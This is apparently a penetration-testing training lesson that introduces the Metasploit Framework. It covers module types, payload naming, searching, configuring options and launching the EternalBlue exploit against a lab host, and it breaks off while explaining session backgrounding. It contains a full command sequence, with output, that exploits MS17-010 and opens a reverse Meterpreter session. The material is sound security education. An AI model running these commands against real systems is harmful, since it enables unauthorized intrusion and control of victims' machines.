Metasploit: The Basics

Imagine you have just been brought onto a penetration testing engagement for Stratford Systems, a mid-sized financial services company. Your team has completed the reconnaissance phase. You have a list of IP addresses, open ports, and a handful of services that look promising. You even spotted what appears to be an outdated SMB implementation on one of their servers. The vulnerability is right there, documented in a public advisory with a CVE number and everything.

Now what?

You could write your own exploit from scratch, but that takes time, specialized skill, and careful testing to avoid crashing the target. In a real engagement, the clock is ticking, and the client expects results. What you need is a framework: a structured toolkit that organizes thousands of known exploits, pairs them with the right payloads, and gives you a consistent interface to configure, launch, and manage attacks across an entire network.

That framework is Metasploit.

What Is the Metasploit Framework?

The Metasploit Framework is the most widely used open-source exploitation framework in the penetration testing industry. Originally created by H.D. Moore in 2003 as a portable networking tool, Metasploit was acquired by Rapid7 in 2009 and has grown into an ecosystem containing over 2,600 exploits and more than 6,100 modules in total.

One analogy for understanding Metasploit would be a well-organized workshop. You would not build a house with a single hammer; you need saws, drills, levels, measuring tapes, and fasteners, all organized so you can find the right tool for each job. Metasploit works the same way. Instead of forcing you to hunt for individual exploit scripts scattered across the internet, it provides a centralized library of exploits, scanners, payloads, and post-exploitation tools, all accessible through a single command-line interface called msfconsole.

In technical terms, Metasploit supports the full penetration testing lifecycle:

• Information gathering: Scanning targets and fingerprinting services
• Vulnerability identification: Detecting known flaws in target systems
• Exploitation: Delivering exploit code to take advantage of those flaws
• Post-exploitation: Maintaining access, gathering data, and pivoting to other systems
• Reporting: Logging findings for documentation and client deliverables

While Metasploit's primary audience is penetration testers, security researchers, and exploit developers also rely on the framework for vulnerability research and proof-of-concept development.

Two Versions: Pro vs. Framework

Metasploit comes in two main editions:

• Metasploit Pro: The commercial version, maintained by Rapid7. It includes a graphical user interface (GUI), automated workflows, team collaboration features, and reporting capabilities. It is licensed software designed for professional security teams.
• Metasploit Framework: The open-source, community-driven version. It runs entirely from the command line. This is the version installed on Kali Linux, Parrot OS, and the TryHackMe AttackBox, and it is the version we will use throughout this module.

Every technique you learn with the Metasploit Framework translates directly to Metasploit Pro. The underlying modules, commands, and concepts are identical; Pro simply adds a GUI and automation layer on top.

The Three Pillars of the Framework

The Metasploit Framework is built around three core components. Understanding what each one does will help you navigate the tool effectively as we move through the remaining tasks.

1. Msfconsole

msfconsole is the primary command-line interface for the Metasploit Framework. It is where you will spend the vast majority of your time. From msfconsole, you can search for modules, configure parameters, launch exploits, and manage sessions on compromised targets. Consider it the cockpit of the framework; everything else is accessed through it.

2. Modules

Modules are the building blocks of Metasploit. Each module is a self-contained piece of code designed to perform a specific task. There are seven categories of modules (exploits, auxiliary, payloads, post-exploitation, encoders, NOPs, and evasion), and we will explore each of these in the next task. For now, the key takeaway is that Metasploit's power comes from its library of thousands of modules, not from any single tool.

3. Tools

Beyond msfconsole and its modules, the framework ships with a set of standalone command-line tools. The most important one for this module is msfvenom, which generates payloads outside of msfconsole for use in scenarios where you need a standalone file (an executable, a web shell, or raw shellcode). We will cover msfvenom in depth in the fourth room of this module. Other tools like pattern_create and pattern_offset are used in exploit development, which is beyond the scope of this Learning Path.

What This Module Covers

This is the first of four rooms in the Metasploit module:

1. Metasploit: The Basics (this room) — Navigating the framework, understanding modules, configuring and launching exploits, managing sessions
2. Metasploit: Scanning and Exploitation — Scanning targets, using the Metasploit database, identifying vulnerabilities, and exploiting live systems
3. Metasploit: Post-Exploitation — Using Meterpreter for credential harvesting, privilege escalation, and target exploration
4. Metasploit: Payload Generation — Generating custom payloads, understanding encoding, and delivering payloads to targets

By the end of all four rooms, you will have the skills to take a target from initial discovery through exploitation and post-exploitation using the Metasploit Framework.

Let's get started.

Prerequisites

Before starting this room, you should be comfortable with:

• Basic Linux command-line navigation (cd, ls, cat, pwd)
• Fundamental networking concepts (IP addresses, ports, client-server communication)
• A general understanding of what a vulnerability is (a flaw in software that can be exploited)

Learning Objectives

By the end of this room, you will be able to:

• Explain what the Metasploit Framework is and identify its core components
• Navigate msfconsole to search for, select, and inspect modules
• Configure module parameters and launch an exploit against a target
• Manage active sessions on compromised systems

You have identified a vulnerable service running on one of Stratford Systems' web servers. The scan results show an outdated version of Apache with a known remote code execution flaw. You have the CVE number, you have the target IP, and you have Metasploit open in front of you. But before you start searching for modules, you need to understand three foundational concepts that the entire framework is built around: vulnerabilities, exploits, and payloads.

These three terms will appear in every room of this module, in every engagement report you write, and in virtually every security conversation you have. Let's define them precisely.

The Exploit Chain: Vulnerability, Exploit, Payload

Consider a physical security analogy. A vulnerability is a broken lock on a warehouse door. An exploit is the act of pulling that door open. A payload is what the intruder does once they are inside: whether they steal inventory, plant a listening device, or simply take a photograph to prove the break-in was possible.

In technical terms:

• Vulnerability: A design, coding, or configuration flaw in a target system. The flaw itself does not cause harm; it creates an opportunity for harm. A vulnerability might allow an attacker to execute arbitrary code, read files they should not have access to, or bypass authentication entirely.
• Exploit: A piece of code that takes advantage of a specific vulnerability. The exploit is the mechanism of attack. It targets the flaw and triggers it in a controlled way.
• Payload: The code that runs on the target system after the exploit succeeds. The exploit opens the door; the payload is what walks through it. A payload might open a reverse shell back to the attacker, create a new user account, or execute a command on the target.

This three-part chain is fundamental. An exploit without a payload can trigger a vulnerability but produce no useful result for the attacker. A payload without an exploit has no way to reach the target. Metasploit's architecture is built around pairing the right exploit with the right payload for a given vulnerability.

The Seven Module Categories

Metasploit organizes its entire library into seven categories of modules. Each category serves a distinct role in the penetration testing workflow.

Exploits

Exploit modules target a specific vulnerability on a specific platform. They are organized by target operating system and service (e.g., exploits/windows/smb/, exploits/linux/http/). With over 2,600 exploit modules in the current framework, this is the largest category. When you hear someone say "I used a Metasploit module," they are almost always referring to an exploit.

Auxiliary

Auxiliary modules handle everything that is not direct exploitation. This includes port scanners, service fingerprinters, brute-force login modules, fuzzers, and network sniffers. If you need to gather information about a target or test credentials without delivering an exploit, you are looking for an auxiliary module. We will use several of these in the next room when we scan Stratford Systems' network.

Payloads

Payload modules contain the code that executes on the target after a successful exploit. Metasploit ships nearly 1,700 payload modules covering a wide range of operating systems, architectures, and connection methods. We will look at the different payload types (singles, stagers, and stages) in a moment.

Post-Exploitation

Post modules run after you have already gained access to a target through an active session. They automate common post-exploitation tasks: dumping password hashes, enumerating system information, capturing screenshots, pivoting to other network segments, and more. These modules are organized by target OS (e.g., post/windows/gather/, post/linux/manage/). We will use them extensively in the Post-Exploitation room.

Encoders

Encoder modules transform payload data into a different format. The most well-known encoder is x86/shikata_ga_nai, which applies polymorphic XOR encoding. An important clarification: encoding is not encryption, and it is not a reliable antivirus evasion technique on its own. Modern endpoint detection solutions look far beyond simple signature matching. Encoders still have legitimate uses (removing bad characters from shellcode, for example), but treating them as a stealth mechanism is a common beginner misconception. We will discuss this honestly in the Payload Generation room.

NOPs

NOP (No Operation) modules generate NOP sleds, sequences of instructions that do nothing. On x86 processors, the classic NOP instruction is 0x90, which tells the CPU to skip to the next instruction. NOP sleds serve as padding to ensure payloads land at predictable memory addresses during buffer overflow exploitation. You will rarely interact with NOP modules directly; Metasploit handles NOP sled generation automatically when needed.

Evasion

Evasion modules are purpose-built attempts to bypass specific security controls, such as Windows Defender or AppLocker. Unlike encoders (which simply re-encode data), evasion modules implement actual evasion techniques like process herpaderping or living-off-the-land binary abuse. This is the smallest module category, currently containing around a dozen modules. Their effectiveness varies and depends heavily on the target environment's security configuration.

Payload Types: Singles, Stagers, and Stages

Within the payload category, Metasploit distinguishes between three types. This is a brief conceptual introduction; we will explore staged and stageless payloads in depth in the Payload Generation room.

Singles (also called inline payloads) are self-contained. The entire payload is delivered in a single package. A single payload might add a user account, execute a system command, or open a bind shell. Because everything is in one piece, singles tend to be larger but more reliable; there is no second download that could fail or be blocked.

Stagers are small, lightweight payloads whose only job is to establish a communication channel between the attacker and the target. Once connected, the stager downloads the second component.

Stages are the larger payload components downloaded by a stager. Together, a stager and its stage form a staged payload. The advantage is a smaller initial footprint; the disadvantage is that the connection must remain stable long enough for the stage to download.

Reading the Naming Convention

Metasploit uses the payload's path to tell you whether it is staged or single. The separator between the shell type and the connection method is the key:

• windows/x64/shell_reverse_tcp — The underscore (_) between shell and reverse means this is a single (stageless) payload. Everything is in one package.
• windows/x64/shell/reverse_tcp — The forward slash (/) between shell and reverse means this is a staged payload. A small stager connects first, then downloads the full shell stage.

This naming pattern is consistent across the entire framework. Once you recognize it, you can identify any payload's type at a glance.

The general structure of a payload path is:

<platform>/<architecture>/<payload_type><separator><connection_method>

Consider another example: linux/x86/meterpreter/reverse_tcp is a staged Meterpreter payload for 32-bit Linux systems. The / between meterpreter and reverse_tcp confirms the staged delivery. Its single-payload counterpart would be linux/x86/meterpreter_reverse_tcp, with an underscore instead.

Every tool has a learning curve. The good news is that msfconsole is designed to help you discover what you need without memorizing thousands of module names. It has built-in search, tab completion, contextual help, and even supports standard Linux commands. In this task, we will launch the console and learn how to find and inspect modules. In the next task, we will configure and run them.

Launch Metasploit. You can use the TryHackMe AttackBox or your own Kali Linux installation to follow along.

Launching Msfconsole

Open a terminal and type msfconsole. After a brief loading period, you will see a randomly selected ASCII art banner followed by the framework's version and module counts:

           root@CONNECTION_IP~# msfconsole

Metasploit tip: Use the 'favorite' command to mark
frequently used modules

 =[ metasploit v6.4.x                          ]
+ -- --=[ 2607 exploits - 1325 auxiliary - 435 post       ]
+ -- --=[ 1710 payloads - 49 encoders - 14 nops          ]
+ -- --=[ 12 evasion                                      ]

msf6 >
        

The banner displays a random ASCII art graphic each time you launch (it is purely cosmetic), followed by the framework version and the count of modules in each category. Your exact counts will vary depending on when you last updated the framework.

We can notice that the prompt has changed from the standard terminal prompt to msf6 >. This tells us we are now inside the Metasploit console. Every command we type from this point forward is interpreted by msfconsole, not by the regular shell.

Note: The msf6 prefix reflects the major version of the framework. Older installations may show msf5. The commands and concepts we cover in this room apply to both versions.

Running Linux Commands Inside Msfconsole

One of the convenient features of msfconsole is that it supports most standard Linux commands. You do not need to exit the console to check an IP address, read a file, or list directory contents:

           msf6 > whoami
[*] exec: whoami

root
msf6 > ip -br a show ens5
[*] exec: ip -br a show ens5

ens5             UP             CONNECTION_IP/18 metric 100 fe80::3:35ff:fed5:91ed/64
        

We can see that msfconsole passes these commands to the underlying shell for execution. This is useful during an engagement when you need to quickly confirm your attacking IP address (LHOST) without leaving the console.

However, msfconsole does not support all shell features. Output redirection, for example, does not work:

           msf6 > help > output.txt
[-] No such command
msf6 >
        

If you need to redirect output to a file, you will need to use the spool command (which logs all console output to a file) or exit msfconsole and work from a regular terminal.

Getting Help

The help command displays the full list of available msfconsole commands. You can also use it with a specific command name to see that command's usage:

           msf6 > help search
Usage: search [<options>] [<keywords>:<values>]

Prepend a value with '-' to exclude any matching results.
If no options or keywords are provided, cached results are shown.

OPTIONS:
 -h, --help                      Help banner
 -o, --output <filename>         Send output to a file in csv format
 -r, --sort-reverse <column>     Reverse sort results by the specified column
 -s, --sort-column <column>      Sort results by the specified column
 -S, --filter <filter>           Regex filter
 -u, --use                       Use module if a single result is found

Keywords:
 aka         :  Modules with a matching AKA (also-known-as) name
 author      :  Modules written by this author
 arch        :  Modules affecting this architecture
 check       :  Modules that support the 'check' method
 CVE         :  Modules with a matching CVE ID
 edb         :  Modules with a matching Exploit-DB ID
 fullname    :  Modules with a matching full name
 name        :  Modules with a matching descriptive name
 platform    :  Modules affecting this platform
 ref         :  Modules with a matching ref
 target      :  Modules with a matching target
 type        :  Modules of a specific type (exploit, auxiliary, post, payload, nop, encoder, evasion)

Examples:
 search cve:2009 type:exploit
 search cve:2024 platform:windows type:exploit
 search name:smb type:auxiliary

msf6 >
        

This is a pattern you will use constantly: when you are unsure about a command's syntax or options, help <command> gives you the answer without leaving the console.

History and Tab Completion

msfconsole keeps a history of every command you type during a session. Use the history command to see your recent inputs:

           msf6 > history
1  search type:exploit platform:windows smb
2  use exploit/windows/smb/ms17_010_eternalblue
3  show options
4  set RHOSTS MAHCHINE_IP
5  run
6  back
7  search type:auxiliary ssh
msf6 >
        

You can also use the up and down arrow keys to scroll through previous commands, just like in a regular Linux terminal.

Tab completion is one of msfconsole's most useful features. It works on commands, module paths, and option names. Consider the following example: if you type use exploit/windows/smb/ms17 and press Tab, the console will either auto-complete the path or display all matching options. This saves significant typing time, especially when navigating deeply nested module paths.

Searching for Modules

With over 6,100 modules in the framework, finding the right one is a critical skill. The search command is how you do it.

Basic search

The simplest form is search followed by a keyword. Metasploit will return every module whose name, description, or references match that keyword:

           msf6 > search eternalblue

Matching Modules
================

   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   3     \_ target: Windows Embedded Standard 7       .                .        .      .
   4     \_ target: Windows Server 2008 R2            .                .        .      .
   5     \_ target: Windows 8                         .                .        .      .
   6     \_ target: Windows 8.1                       .                .        .      .
   7     \_ target: Windows Server 2012               .                .        .      .
   8     \_ target: Windows 10 Pro                    .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .
   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11    \_ target: Automatic                         .                .        .      .
   12    \_ target: PowerShell                        .                .        .      .
   13    \_ target: Native upload
[...]
        

Let's break down the columns in this output:

• #: A numeric index. You can use this number with commands like use or info (e.g., use 0 or info 0) instead of typing the full module path.
• Name: The module's full path, which tells you its type (exploit/, auxiliary/), target platform (windows/), service category (smb/), and specific module name.
• Disclosure Date: When the vulnerability was publicly disclosed. Blank for auxiliary modules that do not target a specific CVE.
• Rank: The module's reliability rating. We will cover this in a moment.
• Check: Whether the module supports a non-destructive vulnerability check (Yes) or can only be verified by running the full exploit (No).
• Description: A brief summary of what the module does.

Filtered search

For a targeted search, combine keywords with filters. The most useful filters for day-to-day work are:

• type: Filter by module category (exploit, auxiliary, post, payload, encoder, nop, evasion)
• platform: Filter by target OS (windows, linux, osx, android, etc.)
• cve: Search by CVE identifier
• name: Match against the module's descriptive name only

Consider the following example. You are looking for auxiliary scanner modules related to SMB:

           msf6 > search type:auxiliary name:smb

Matching Modules
================

   #   Name                                                        Disclosure Date  Rank    Check  Description
   -   ----                                                        ---------------  ----    -----  -----------
   0   auxiliary/server/capture/smb                                .                normal  No     Authentication Capture: SMB
   1   auxiliary/server/relay/esc8                                 .                normal  No     ESC8 Relay: SMB to HTTP(S)
   2   auxiliary/admin/smb/ms17_010_command                        2017-03-14       normal  No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3     \_ AKA: ETERNALSYNERGY                                    .                .       .      .
   4     \_ AKA: ETERNALROMANCE                                    .                .       .      .
   5     \_ AKA: ETERNALCHAMPION                                   .                .       .      .
   6     \_ AKA: ETERNALBLUE                                       .                .       .      .
   7   auxiliary/scanner/smb/smb_ms17_010                          .                normal  No     MS17-010 SMB RCE Detection
   8     \_ AKA: DOUBLEPULSAR                                      .                .       .      .
   9     \_ AKA: ETERNALBLUE                                       .                .       .      .
[...]

msf6 >
        

You can also exclude results by prepending a minus sign to a filter value. For example, search type:exploit -platform:windows returns all exploits that are not targeting Windows.

Understanding Exploit Rankings

The Rank column in search results tells you how reliable an exploit is expected to be. Metasploit uses a seven-tier ranking system:

A higher rank does not guarantee success, and a lower rank does not guarantee failure. Environmental factors like target configuration, network conditions, and security controls all play a role. Use the ranking as a starting point, not a guarantee.

Inspecting a Module with Info

Once you have found a promising module, the info command gives you detailed information about it. You can use info in two ways:

1. Directly from the msf6 > prompt with the module path: info exploit/windows/smb/ms17_010_eternalblue
2. Using the numeric index from search results: info 0

           msf6 > info exploit/windows/smb/ms17_010_eternalblue

 Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
 Module: exploit/windows/smb/ms17_010_eternalblue
 Platform: Windows
 Arch:
 Privileged: Yes
 License: Metasploit Framework License (BSD)
 Rank: Average
 Disclosed: 2017-03-14

Provided by:
 Equation Group
 Shadow Brokers
 sleepya
 thelightcosine

Available targets:
 Id  Name
 --  ----
 =>  0   Automatic Target

Check supported:
 Yes

Basic options:
 Name           Current Setting  Required  Description
 ----           ---------------  --------  -----------
 RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
 RPORT          445              yes       The target port (TCP)
 SMBDomain                       no        (Optional) The Windows domain to use for authentication
 SMBPass                         no        (Optional) The password for the specified username
 SMBUser                         no        (Optional) The username to authenticate as
 VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
 VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.

Description:
 This module is a port of the Equation Group ETERNALBLUE exploit,
 part of the FuzzBunch toolkit released by Shadow Brokers. [...]

References:
 https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
 https://nvd.nist.gov/vuln/detail/CVE-2017-0144
 [...]

Also known as:
 ETERNALBLUE

msf6 >
        

The info output tells you everything you need to decide whether this module fits your situation: target platform, required options, reliability rank, a description of how the exploit works, and references to the underlying CVEs. This is not a help menu; it is a technical brief on the module.

Pay attention to a few key fields:

• Privileged: If Yes, a successful exploit will give you elevated (SYSTEM/root) privileges on the target. If No, you land with the privileges of the exploited service.
• Check supported: If Yes, you can verify whether the target is vulnerable without sending the exploit payload. This is safer in production environments where crashing a service is unacceptable.
• Available targets: Some modules support multiple target configurations. The default is usually sufficient, but in some cases you may need to select a specific target (e.g., a particular Windows service pack or application version).

A Quick Note on EternalBlue

You will see the EternalBlue exploit (exploit/windows/smb/ms17_010_eternalblue) referenced throughout this room as a teaching example. Here is the brief backstory: EternalBlue exploits CVE-2017-0144, a critical buffer overflow vulnerability in Microsoft's Server Message Block version 1 (SMBv1) protocol. The exploit was originally developed by the U.S. National Security Agency (NSA) and was leaked publicly by a group called the Shadow Brokers in April 2017. One month later, the WannaCry ransomware campaign weaponized EternalBlue to spread across hundreds of thousands of systems worldwide.

We use it as an example because it is well-documented, reliable in lab environments, and illustrates the full exploit workflow clearly. In a real engagement, you would obviously not limit yourself to a single exploit from 2017.

You have searched for a module, read its info output, and decided it fits your target. Now you need to tell Metasploit where to aim, how to connect back to you, and what to deliver. This task covers the full configuration-to-execution workflow: selecting a module, setting its parameters, and launching it against a target.

Know Your Prompt

Before we touch any configuration commands, let's establish a reference you will come back to repeatedly. When working with Metasploit, you will encounter five distinct prompts. Each one tells you where you are and what commands are available to you:

If a command is not working, your first troubleshooting step should always be checking which prompt you are at. A surprisingly common mistake is trying to run set RHOSTS from the msf6 > prompt (no module context) or typing Linux commands into a Meterpreter session.

Selecting a Module with Use

The use command loads a module into your current context. You can specify the full module path or use the numeric index from a search result:

           msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
        

We can notice two things that happened. First, the prompt changed to reflect the loaded module. Second, Metasploit automatically selected a default payload (windows/x64/meterpreter/reverse_tcp). You can override this default later with the set PAYLOAD command, but for many common exploits, the default is a reasonable starting point.

An important detail: loading a module does not change your working directory. You are not "inside" a folder. You are still at the same msfconsole session; the context simply tells Metasploit which module's options and commands to apply. You can confirm this by running any Linux command (like whoami) from within a module context and seeing that it still works.

To leave a module context and return to the bare msf6 > prompt, use the back command:

           msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >
        

Reading Show Options

Once a module is loaded, show options displays every configurable parameter. Let's look at the output for our EternalBlue example:

           msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

 Name           Current Setting  Required  Description
 ----           ---------------  --------  -----------
 RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
 RPORT          445              yes       The target port (TCP)
 SMBDomain                       no        (Optional) The Windows domain to use for authentication
 SMBPass                         no        (Optional) The password for the specified username
 SMBUser                         no        (Optional) The username to authenticate as
 VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
 VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):

 Name      Current Setting  Required  Description
 ----      ---------------  --------  -----------
 EXITFUNC  thread           yes       Exit technique (Accepted: ", seh, thread, process, none)
 LHOST     CONNECTION_IP    yes       The listen address (an interface may be specified)
 LPORT     4444             yes       The listen port

Exploit target:

 Id  Name
 --  ----
 0   Automatic Target

msf6 exploit(windows/smb/ms17_010_eternalblue) >
        

This output has three sections. Let's walk through each one:

Module options are parameters specific to the exploit itself. These control where and how the exploit connects to the target. RHOSTS (the target IP) is blank and marked Required: yes, which means the exploit will refuse to run until we provide a value. RPORT is pre-populated with 445 (the default SMB port); you would only change this if the target's SMB service runs on a non-standard port.

Payload options are parameters for the selected payload. LHOST (your attacking machine's IP) and LPORT (the port your machine will listen on for the reverse connection) are the two you will set most frequently. Metasploit often auto-detects LHOST from your active network interfaces, but you should always verify it is correct, especially when working through a VPN tunnel.

Exploit target specifies which version or configuration of the target software the exploit is tuned for. Many modern modules use Automatic Target, which auto-detects the right configuration. Older modules may require you to manually select a target (e.g., a specific Windows service pack) using set TARGET <id>.

The Required column is your checklist. Every parameter marked yes must have a value before the module will run. Parameters marked no are optional and can be left blank.

The Core Parameters

While every module has its own set of options, six parameters appear so frequently that you should know them by name:

• RHOSTS: "Remote host(s)." The target's IP address. Accepts a single IP (MACHINE_IP), a CIDR range (MACHINE_IP/24), a hyphenated range (10.48.12.1-10.48.12.50), or a file containing one target per line (file:/path/to/targets.txt).
• RPORT: "Remote port." The port on the target where the vulnerable service is running. Usually pre-populated with the service's default port.
• LHOST: "Local host." Your attacking machine's IP address. This is where the target will connect back to for reverse payloads.
• LPORT: "Local port." The port on your machine that will receive the reverse connection. Default is 4444. You can change this to any unused port.
• PAYLOAD: The payload to deliver with the exploit. A default is usually pre-selected, but you can override it.
• SESSION: Used with post-exploitation modules. Specifies which existing session to run the module through. We will cover sessions in the next task.

Setting Parameters

The set command assigns a value to a parameter within the current module context:

           msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 5555
LPORT => 5555
        

After setting values, run show options again to verify everything looks correct. This is a good habit; a typo in RHOSTS or an incorrect LHOST is one of the most common reasons an exploit fails silently.

To clear a single parameter, use unset:

           msf6 exploit(windows/smb/ms17_010_eternalblue) > unset RHOSTS
Unsetting RHOSTS...
        

To reset all parameters to their defaults, use unset all:

           msf6 exploit(windows/smb/ms17_010_eternalblue) > unset all
Flushing datastore...
        

Local vs. Global: Set vs. Setg

Parameters set with set are local to the current module. If you switch to a different module (using use or back followed by another use), those values are gone. You would need to set them again.

The setg command sets a global value that persists across all modules for the duration of your msfconsole session. This is useful when you are working against the same target with multiple modules.

Consider the following scenario. You want to first scan a Stratford Systems host for the MS17-010 vulnerability using an auxiliary module, and then exploit it. Without setg, you would need to set RHOSTS twice:

           msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

 Name         Current Setting  Required  Description
 ----         ---------------  --------  -----------
 CHECK_ARCH   true             no        Check for architecture on vulnerable hosts
 CHECK_DOPU   true             no        Check for DOUBLEPULSAR on vulnerable hosts
 CHECK_PIPE   false            no        Check for named pipe on vulnerable hosts
 NAMED_PIPES  [...]            yes       List of named pipes to check
 RHOSTS       MACHINE_IP      yes       The target host(s), [...]
 RPORT        445              yes       The SMB service port (TCP)
 [...]

msf6 auxiliary(scanner/smb/smb_ms17_010) >
        

We can notice that RHOSTS is already populated in the scanner module even though we set it in the exploit context. That is setg at work. The value carries over to every module until you exit msfconsole or clear it with unsetg:

           msf6 > unsetg RHOSTS
Unsetting RHOSTS...
        

A practical rule of thumb: use setg for values that stay constant across your engagement (RHOSTS, LHOST) and set for values that are module-specific (RPORT, PAYLOAD, SESSION).

Selecting a Different Payload

Metasploit automatically assigns a default payload when you load an exploit. To see all compatible payloads for the current module, use show payloads:

           msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads
===================

 #   Name                                                Rank    Check  Description
 -   ----                                                ----    -----  -----------
 0   generic/custom                                      manual  No     Custom Payload
 1   generic/shell_bind_tcp                              manual  No     Generic Command Shell, Bind TCP Inline
 2   generic/shell_reverse_tcp                           manual  No     Generic Command Shell, Reverse TCP Inline
 3   windows/x64/exec                                    manual  No     Windows x64 Execute Command
 4   windows/x64/meterpreter/bind_tcp                    manual  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager
 5   windows/x64/meterpreter/reverse_tcp                 manual  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager
 6   windows/x64/meterpreter_reverse_tcp                 manual  No     Windows Meterpreter Shell, Reverse TCP Inline
 7   windows/x64/shell/reverse_tcp                       manual  No     Windows x64 Command Shell, Reverse TCP Stager
 [...]

msf6 exploit(windows/smb/ms17_010_eternalblue) >
        

Only payloads that are compatible with the exploit's target architecture and platform are shown. To switch payloads, use set PAYLOAD followed by the payload name or index number:

           msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/shell/reverse_tcp
PAYLOAD => windows/x64/shell/reverse_tcp
        

This replaces the default Meterpreter payload with a basic command shell. We will discuss when and why you might choose different payloads in the Payload Generation room.

Running the Module

Once all required parameters are set, you launch the module with exploit (or its alias run):

           msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on CONNECTION_IP:4444
[*] MACHINE_IP:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] MACHINE_IP:445 - Host is likely VULNERABLE to MS17-010!
[*] MACHINE_IP:445 - Connecting to target for exploitation.
[+] MACHINE_IP:445 - Connection established for exploitation.
[+] MACHINE_IP:445 - Target OS selected valid for OS indicated by SMB reply
[*] MACHINE_IP:445 - Trying exploit with 12 Groom Allocations.
[*] MACHINE_IP:445 - Sending all but last fragment of exploit packet
[*] Sending stage (201283 bytes) to MACHINE_IP
[*] Meterpreter session 1 opened (CONNECTION_IP:4444 -> MACHINE_IP:49186) at 2026-03-18 14:32:15 +0000

meterpreter >
        

Let's trace what happened in this output:

1. Metasploit started a listener on our machine (CONNECTION_IP:4444) to catch the reverse connection.
2. It ran a quick vulnerability check on the target before sending the exploit.
3. The exploit connected to the target's SMB service, triggered the buffer overflow, and sent the payload.
4. The payload (Meterpreter) executed on the target and connected back to our listener.
5. A Meterpreter session opened, and our prompt changed to meterpreter >.

We now have an interactive session on the target system.

The run alias: The run command does exactly the same thing as exploit. It exists because typing exploit feels odd when you are running a non-exploit module (like a scanner or a brute-forcer). In practice, most pentesters use run for auxiliary modules and exploit for exploit modules, but either works in any context.

The -z flag: Adding -z to the exploit command runs the exploit and immediately backgrounds the session once it opens, returning you to the module context prompt instead of dropping you into the Meterpreter session:

           msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z
[...]
[*] Meterpreter session 1 opened (CONNECTION_IP:4444 -> MACHINE_IP:49186)
[*] Session 1 created in the background.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
        

This is useful when you want to exploit a target but continue working in msfconsole immediately, for example, to launch additional modules against other hosts.

Checking Before Exploiting

Some modules support the check command, which probes the target to determine if it is vulnerable without sending the exploit payload:

           msf6 exploit(windows/smb/ms17_010_eternalblue) > check

[*] MACHINE_IP:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] MACHINE_IP:445 - Host is likely VULNERABLE to MS17-010!
[*] MACHINE_IP:445 - Scanned 1 of 1 hosts (100% complete)
        

Not all modules support check (recall the Check column in search results). When it is available, running check before exploit is good practice, especially in production environments where a failed exploit could crash a service or trigger alerts.

The exploit landed. You see Meterpreter session 1 opened scroll across your terminal. In a simple lab exercise with a single target, you might dive straight into that session and start exploring. But real engagements are rarely that simple. Consider the Stratford Systems scenario: your scope includes a dozen hosts across two subnets. Over the course of the engagement, you may open sessions on multiple machines, some through direct exploitation, others through pivoting from already-compromised hosts. If you cannot keep track of which session connects to which target, or if you lose a session because you did not background it before launching your next exploit, you are wasting time and potentially alerting defenders.

Session management is a small set of commands, but it is a critical operational skill. Let's walk through the workflow.

What Is a Session?

A session in Metasploit is an active communication channel between your attacking machine and a compromised target. When an exploit succeeds and the payload executes, the payload connects back to (or accepts a connection from) your machine. That connection is registered as a session with a unique numeric ID.

Sessions can be different types depending on the payload that created them:

• Meterpreter sessions provide a rich, interactive environment with built-in commands for file system access, privilege escalation, pivoting, and more. These are the most common and most capable session types.
• Shell sessions provide a basic operating system command line (e.g., cmd.exe on Windows, /bin/sh on Linux). These are simpler but less feature-rich.
• Protocol-specific sessions (newer in Metasploit 6.4) provide interactive access to services like SMB, MSSQL, MySQL, and PostgreSQL. These are specialized and used for targeted enumeration rather than general access.

Regardless of type, the commands for managing sessions are the same.

Backgrounding a Session

When you are in an active session (you see meterpreter > or a shell prompt from the target), you can return to the msfconsole prompt without closing the session. This is called backgrounding.

Use the background command (or its shortcut, CTRL+Z):

           meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) >
        

